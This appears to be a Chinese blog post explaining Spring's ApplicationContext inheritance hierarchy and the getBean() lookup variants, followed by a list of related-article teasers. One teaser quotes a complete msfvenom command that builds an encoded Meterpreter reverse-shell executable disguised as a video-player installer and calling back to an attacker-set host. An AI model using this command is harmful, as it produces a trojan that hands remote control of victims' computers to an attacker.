Spring相关API

⭐作者介绍:大二本科网络工程专业在读,持续学习Java,努力输出优质文章
⭐作者主页:@逐梦苍穹
⭐所属专栏:JavaEE、Spring

SpringAPI

  • 1、继承体系
  • 2、 getBean()

在这里插入图片描述

1、继承体系

在这里插入图片描述

在这里插入图片描述

上述继承体系中的主要类和接口包括:
  ● ApplicationContext:Spring容器的顶层接口,提供了获取Bean、管理Bean生命周期、依赖注入等核心功能。
  ● ConfigurableApplicationContext:可配置的应用上下文接口,扩展了ApplicationContext,添加了配置刷新、关闭等额外的配置功能。
  ● AbstractApplicationContext:抽象的应用上下文实现类,提供了通用的应用上下文功能和模板方法。
  ● AbstractRefreshableApplicationContext:抽象的可刷新应用上下文实现类,支持上下文的刷新和重新加载。
  ● AbstractXmlApplicationContext:抽象的XML配置文件应用上下文实现类,用于解析和加载XML配置文件。
  ● ClassPathXmlApplicationContext:从类路径下的XML配置文件中加载上下文的实现类。
  ● FileSystemXmlApplicationContext:从文件系统中的XML配置文件中加载上下文的实现类。
  ● XmlWebApplicationContext:在Web环境中从XML配置文件中加载上下文的实现类。
  ● AnnotationConfigApplicationContext:基于注解的应用上下文实现类,用于通过注解配置Bean。
在这里插入图片描述

类/接口描述
ApplicationContextSpring容器的顶层接口,提供了核心的容器功能和管理Bean的能力。
ConfigurableApplicationContext可配置的应用上下文接口,扩展了ApplicationContext,添加了配置刷新、关闭等额外的配置功能。
AbstractApplicationContext抽象的应用上下文实现类,提供了通用的应用上下文功能和模板方法。
AbstractRefreshableApplicationContext抽象的可刷新应用上下文实现类,支持上下文的刷新和重新加载。
AbstractXmlApplicationContext抽象的XML配置文件应用上下文实现类,用于解析和加载XML配置文件。
ClassPathXmlApplicationContext 从类路径下的XML配置文件中加载上下文的实现类。
FileSystemXmlApplicationContext 从文件系统中的XML配置文件中加载上下文的实现类。
XmlWebApplicationContext在Web环境中从XML配置文件中加载上下文的实现类。
AnnotationConfigApplicationContext 基于注解的应用上下文实现类,用于通过注解配置Bean。

2、 getBean()

getBean()方法是ApplicationContext接口定义的一个重要方法,用于从Spring容器中获取指定名称或指定类型的Bean实例。该方法的使用可以通过以下几种方式进行:

  1. 通过Bean名称获取Bean实例:
    在这里插入图片描述

这里的"beanName"是在Spring配置文件或通过注解定义的Bean的名称。如果找不到对应名称的Bean实例,将会抛出NoSuchBeanDefinitionException异常。
 2. 通过Bean名称和类型获取Bean实例:
在这里插入图片描述

这种方式在获取Bean实例时可以指定其具体的类型,以确保返回的对象是符合期望的类型。如果找不到对应名称和类型的Bean实例,也会抛出NoSuchBeanDefinitionException异常。
 3. 通过类型获取Bean实例:
在这里插入图片描述

在这种情况下,Spring容器会根据指定的类型去查找对应的Bean实例。如果找到多个符合类型的Bean实例,会抛出NoUniqueBeanDefinitionException异常。如果找不到任何符合类型的Bean实例,会抛出NoSuchBeanDefinitionException异常。
 4. 判断是否存在指定名称的Bean:
在这里插入图片描述

这个方法用于检查Spring容器中是否存在指定名称的Bean。返回值为true表示存在,返回值为false表示不存在。
getBean()方法是Spring框架中非常常用的一个方法,通过它可以方便地获取所需的Bean实例,并进行后续的操作和调用。它是实现依赖注入和控制反转的重要手段之一。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/33184.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

笔记本安装双系统ubuntu时踩的坑——戴尔

如果你遇到以下的这些问题,不要直接装了,无解!!! 建议看我另一篇教程,把硬盘取出来在另外的电脑上装好系统再放回去,这样嘎嘎快。 移动硬盘中安装Ubuntu 20.04系统——立省99%的问题_放风筝的…

插入排序——希尔排序

希尔排序其实就是一种插入排序,实际上就是通过直接插入排序一步步改进优化而实现的。所以在了解希尔排序之前要明白插入排序的实现原理。 插入排序 其实我觉得插入排序也可以叫做摸牌排序,就是从第二张牌开始处理,将摸到的牌按照合适的顺序插…

解决 An attempt was made to call a method that does not exist. 问题详解

哈喽大家好,我是阿Q。今天在开发代码的过程中,由于手抖,不知道引入了什么包依赖,导致项目启动一直报错,特写本文来记录下解决问题的经过。 文章目录 问题描述报错信息如下报错描述 解决方法总结 有想赚点外块|技术交流…

苹果Vision Pro手势+眼球融合交互的奥秘

毫无疑问,Vision Pro在眼球追踪手势的融合交互体验上,给AR/VR头戴设备带来了新突破,在用户体验上的提升非常明显。 ​那么,为什么Vision Pro上这一功能会被如此值得关注呢?为了弄清楚,我们先来看看主流VR设…

原来,这就是铁路隧道R型变压器的工作真相!

铁路作为我们日常交通的重要出行设备,其安全稳定性极为重要。高速铁路具有行车速度快、行车密度高、负荷分布密集、自动化程度高、要求安全、正点运行的特点。铁路隧道对电力系统的供电可靠性也有非常严格的要求。铁路隧道R型变压器在铁路隧道供电系统中的主要功能是…

Upload靶场通关笔记

文章目录 一、Pass-011.抓包上传2.获取上传路径3.工具验证 二、Pass-02三、Pass-031.使用httpd.conf自定义后缀2.提取上传文件名3.工具测试4.注意点四、Pass-041.上传.htaccess2.上传图片3.工具测试 五、Pass-05六、Pass-061.空格.号绕过2.工具测试 七、Pass-07八、Pass-081.特…

NoSQL之Redis优化(一)

Redis的高可用 一、Redis 持久化RDB 持久化AOF 持久化RDB和AOF的优缺点 二、Redis 性能管理内存碎片如何产生的?解决碎片率大的问题:内存使用率内回收key 在web服务器中,高可用是指服务器可以正常访问的时间,衡量的标准是在多长时…

8.6 socket套接字及TCP的实现框架

socket套接字 目录 socket套接字 体系结构的两种形式 几种常见的网络编程接口 socket套接字 socket常用API介绍 socket套接字 三元组【IP地址,端口,协议】 地址族结构体 套接字类型 TCP通信的实现过程 体系结构的两种形式 网络的体系结构 (N…

TinyViT: 一种高效的蒸馏方法

目录 背景方法大意快速预训练蒸馏(Fast Pretraining Distillation, FPD)如何实现快速三个细节深入理解FPD 模型架构训练trick预训练参数配置(Imagenet21k-pretraining)finetuning 参数配置(Imagenet-1k) 消融实验**Q: 数据是否越多…

window10 sourceTree 更新系统后打不开解决办法

C:\Users\你的用户名\AppData\Local\Atlassian\SourceTree.exe_Url_j5xkjtpcegcqqaaahn4rsx42sj42zy5a\版本号这个目录下 删除文件Composition.cache (在启动即可) 打开sourcetree后成功生成了我们删除的 Composition.cache 文件。

论文浅尝 | SimKGC:基于预训练语言模型的简单对比知识图谱补全

笔记整理:李雅新,天津大学硕士,研究方向为知识图谱补全 链接:https://dl.acm.org/doi/10.1145/3539597.3570483 动机 知识图谱补全 (KGC) 旨在对已知事实进行推理并推断缺失的链接。基于文本的方法从自然语言描述中学习实体表示&a…

使用msfvenom获取windows shell

Windows 1. kali 使用 msfvenom 生成程序文件 使用一个编码器msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.133.66 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音1.exe其中,-a 指…

基于Alexnet网络实现猫狗数据集分类(Keras框架)

目录 1、作者介绍2、Alexnet网络2.1 网络介绍2.2 AlexNet网络的主要特点 3、基于Alexnet网络实现猫狗数据集分类3.1 猫狗大战数据集3.2 数据集处理3.3 准备工作3.4 训练过程3.5 对比实验3.5.1 HALCON平台下的Alexnet对比实验3.5.2 HALCON平台下的Resnet-50对比实验3.5.3 HALCON…

解决win10开机卡顿、配置很高但是玩游戏卡顿掉帧等问题

解决win10开机卡顿、配置很高但是玩游戏卡顿掉帧等问题 最近组装了一台高配置的新电脑,装好了各种驱动、软件等。发现系统开机后卡顿一分钟左右(加载应用配置等),但是我的系统启动项明明就没多少,不应该是这样的情况&…

人工智能(AI)在金融行业的应用

人工智能(AI)技术在金融行业的应用日益广泛,为金融机构提供了更高效、更智能的解决方案。以下和大家分享AI在金融行业的一些主要应用,希望对大家有所帮助。北京木奇移动技术有限公司,专业的软件外包开发公司&#xff0…

Android 13(T) - binder阅读(5)- 使用ServiceManager注册服务2

上一篇笔记我们看到了binder_transaction,这个方法很长,这一篇我们将把这个方法拆分开来看binder_transaction做了什么,从而学习binder是如何跨进程通信的。 1 binder_transaction static void binder_transaction(struct binder_proc *proc…

Docker-DockerFile制定镜像

本文已收录于专栏 《中间件合集》 目录 概念说明DockerDockerFile 提供服务指令解析应用实例常用命令总结提升 概念说明 Docker &emspDocker是一种开源的容器化平台,它可以将应用程序及其依赖项打包到一个独立的、可移植的容器中,以实现快速部署和跨…

【0212】tcpdump抓包分析pg_hba.conf以password作为认证证方式下frontend与Backend之间身份验证过程(13 - 2)

文章目录 1. 回顾2. 密码校验通过3. 密码校验失败上一文:【0211】tcpdump抓包分析pg_hba.conf以password作为认证证方式下frontend与Backend之间身份验证过程(13 - 1) 1. 回顾 在上一节内容中,讲解了Backend对于接收到来自frontend的字符串明文密码,和来自于来自pg_auth…

【网络原理】TCP/IP协议五层模型

🥊作者:一只爱打拳的程序猿,Java领域新星创作者,CSDN、阿里云社区优质创作者。 🤼专栏收录于:计算机网络原理 本期讲解协议、OSI七层模型、TCP/IP五层模型、网络设备所在的分层、数据的封装和分佣。 目录 …

STM32速成笔记—RTC

文章目录 一、RTC简介二、STM32的RTC2.1 主要特性2.2 RTC框图介绍 三、访问后备区域步骤四、RTC配置步骤五、RTC程序配置5.1 RTC结构体定义5.2 RTC初始化函数5.3 设置年月日,时分秒5.4 判断闰年函数5.5 获取当前年月日,时分秒5.6 获取星期几5.7 中断服务…